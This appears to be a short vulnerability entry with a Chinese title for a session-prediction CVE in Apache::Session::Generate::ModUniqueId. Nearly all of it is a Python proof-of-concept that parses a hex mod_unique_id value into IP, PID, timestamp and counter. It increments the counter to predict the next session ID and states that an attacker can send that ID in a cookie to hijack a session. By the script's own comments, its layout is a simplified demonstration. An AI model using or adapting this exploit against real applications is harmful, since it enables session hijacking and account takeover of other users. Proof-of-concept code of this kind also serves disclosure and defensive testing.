CVE-2026-5081 Apache::Session::Generate::ModUniqueId 会话预测漏洞

# PoC for CVE-2026-5081: Session ID Prediction # Description: This script demonstrates how to predict the next session ID # based on the structure of Apache mod_unique_id. import struct def parse_unique_id(encoded_id): # Apache mod_unique_id structure (simplified representation): # 4 bytes: IP Address # 4 bytes: PID # 4 bytes: Timestamp # 2 bytes: Counter # 2 bytes: Thread Index # Note: The actual encoding is often base64 or similar, depending on config. # This assumes a hex dump of the internal structure for demonstration. try: # Extract components based on fixed offsets ip_hex = encoded_id[0:8] pid_hex = encoded_id[8:16] time_hex = encoded_id[16:24] counter_hex = encoded_id[24:28] ip_int = int(ip_hex, 16) pid = int(pid_hex, 16) timestamp = int(time_hex, 16) counter = int(counter_hex, 16) return { "ip": ip_int, "pid": pid, "timestamp": timestamp, "counter": counter } except Exception as e: print(f"Error parsing ID: {e}") return None def predict_next_id(current_id): data = parse_unique_id(current_id) if not data: return None # Logic: Increment the counter to predict the next ID next_counter = data['counter'] + 1 # Reconstruct the ID (Hex representation) # Format: IP(8) + PID(8) + TIME(8) + COUNTER(4) + THREAD(4) next_id = f"{current_id[0:24]}{next_counter:04x}{current_id[28:]}" return next_id if __name__ == "__main__": # Example of a leaked session ID (Hex format for demo) leak_id = "c0a80164123456786432f12300120000" print(f"[+] Leaked Session ID: {leak_id}") predicted = predict_next_id(leak_id) if predicted: print(f"[+] Predicted Next Session ID: {predicted}") print("[!] Attacker can send this ID in the cookie to hijack the session.")